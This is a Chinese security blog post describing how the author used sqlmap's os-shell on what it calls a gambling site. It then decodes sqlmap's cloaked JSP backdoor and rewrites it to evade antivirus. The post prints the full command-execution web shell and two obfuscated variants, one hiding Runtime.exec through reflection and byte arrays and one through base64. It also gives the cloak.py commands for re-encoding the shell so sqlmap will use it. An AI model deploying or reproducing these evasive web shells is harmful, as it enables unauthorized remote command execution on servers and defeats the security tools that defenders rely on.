freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQLmap shell免杀小结
2021-10-14 14:51:06

最近在整理学习的时候,碰到了一个菠菜,sqlmap直接注进去了。

sqlmap -r xx.txt --os-shell
>os-shell:

直接拿到shell了,也能执行命令;第二次就不行了,直接报错。。。怀疑是给我杀掉了。

有了上一次蚁剑流量分析过宝塔WAF的小技巧,所以写下 这一篇文章,学习一下。

分析shell

因为那个菠菜使用jsp语言写的,所以这里我们也用一个jsp的shell进行分析。

=ÒÂá2nduÌŒ¡d0ÂÔ
õÜ”=YïR$ú×_~±™Ø#tÈ
5ßãÀ¾Üc¨=	iÏÔA°·^:CS–ö°5i@´±Ûƺ<è/*¸òU%æP4 $™K‰Ú®Û")cúJ7
‡‚½ŒÓSvÚz lB-'‹•Ùbœg‰W>AóqØ7Yê²Ýõ:ŠÙMI0³ÁÈ®‘TÙÍ<–1Cá–;DÚ:mK(×Þ {Hàsxd™Ÿùq×…lo¿ŒQß•Åâw8¬ÿ’Õ¸›Ï‹§'­‘a4Ž£ÍóÌCnõ,0£ó1}wMýÔÆM6dßç“ÑB4Ï/Îxg_¦æFÆ%­Á›óáÅI|ÒJ>ù”|µÍfr­ËœT,OÄâ¥
®P¿¯T¶›Gó?²O9ðBñSáRºC
Ò
ö‹ö·2}^Þ5<$iãnÀ¨ô“s³Ú¤¾Ñ^9"wí…£°ˆqW†‡–W

这tm啥啊。。。。。。

在sqlmap文件夹中,sqlmapproject-sqlmap-e435d1e\lib\core\common.py有这样一部分,可以看到decloakToTemp函数接收一个filename参数并调用decloak函数进行解码,返回该文件解码后的内容,并且在函数说明部分给出了详细的调用方式:

然后看一下sqlmapproject-sqlmap-e435d1e\extra\cloak\cloak.py

def xor(message, key):
    return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))

def cloak(inputFile=None, data=None):
    if data is None:
        with open(inputFile, "rb") as f:
            data = f.read()

    return xor(zlib.compress(data), KEY)

def decloak(inputFile=None, data=None):
    if data is None:
        with open(inputFile, "rb") as f:
            data = f.read()
    try:
        data = zlib.decompress(xor(data, KEY))
    except Exception as ex:
        print(ex)
        print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
        sys.exit(1)
    finally:
        f.close()

    return data

里面详细写了sqlmap shell的解密、加密方式

解密流程大致为:使用定义的KEY调用xor函数进行异或,随后使用zlib.decompress进行解码。

并且,人家在main函数中还给出了利用方法。

try:
        parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
        parser.add_option('-i', dest='inputFile', help='Input file')
        parser.add_option('-o', dest='outputFile', help='Output file')

        (args, _) = parser.parse_args()

接下来按照main函数所说的方法,对原先的backdoor.jsp_进行解码

python3 cloak.py -i E:\sqlmapproject-sqlmap-e435d1e\data\shell\backdoors\backdoor.jsp_ -o E:\sqlmapproject-sqlmap-e435d1e\data\shell\backdoors\backdoor.jsp -d

解码得到了真正的shell

<%@ page import="java.io.*" %>
<%

Process p;
String s, cmd, os;
String [] params;

cmd = request.getParameter("cmd");
os = System.getProperty("os.name");

if (os.indexOf("Windows") > -1) {
        params = new String [] {"cmd.exe", "/c", cmd};
}
else {
        params = new String [] {"/bin/sh", "-c", cmd};
}

out.print("<pre>");

if (cmd != null) {
    p = Runtime.getRuntime().exec(params);
    BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
    BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));

    while ((s = stdInput.readLine()) != null) {
        out.println(s); 
    }

    while ((s = stdError.readLine()) != null) {
        System.out.println(s);
    }
}

out.print("</pre>");
%>

通过源码发现就是一个cmd马,那么下面我们就可以将其中具体执行cmd命令的代码替换为我们的免杀的代码或者其他的功能,这里我使用一个类反射的cmd马进行替换。

对JSP shell进行免杀

java代码核心命令就是这条Runtime.getRuntime().exec(params);这样的shell很容易被识别到,可以利用java类反射隐藏掉exec()进行免杀。

package test;
import java.lang.reflect.Method;
import java.util.Scanner;
 
public class Test {
    public static void main(String[] args) throws Exception {
        String op = "";
        Class rt = Class.forName("java.lang.Runtime"); //加载Runtime类
        Method gr = rt.getMethod("getRuntime");  //获取getRuntime方法
        Method ex = rt.getMethod("exec", String.class);  //获取exec方法
        Process e = (Process) ex.invoke(gr.invoke(null),  "cmd /c whoami"); //invoke 传参调用
        //以下代码是获取输出结果
        Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
        System.out.print(op);
    }
}

接下来写成jsp马,再利用ASCII编码绕过

<%@ "text/html;charset=UTF-8" language="java" %>
<%@ import="java.io.InputStream" %>
<%@ import="java.lang.reflect.Method" %>
<%@ import="java.util.Scanner" %>

out.print("</pre>");
if(request.getParameter("cmd") != null){
String str = request.getParameter("cmd");
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
Class> c = Class.forName(rt);
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);

Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);

Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
out.println(result);
}
out.print("");
%>

base64编码也行

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
    if(request.getParameter("cmd")!=null){
        BASE64Decoder decoder = new BASE64Decoder();
        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
        Process e = (Process)
                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                        Object[]{}), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

但是,要想在sqlmap中正常使用-os--shell功能,替换的shell接收参数必须和原先的一致,所以利用原先的python脚本进行编码,并替换原文件。

python cloak.py -i backdoor0.jsp -o backdoor.jsp_

就可以实现Sqlmap的shell免杀。

# web安全 # 木马
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录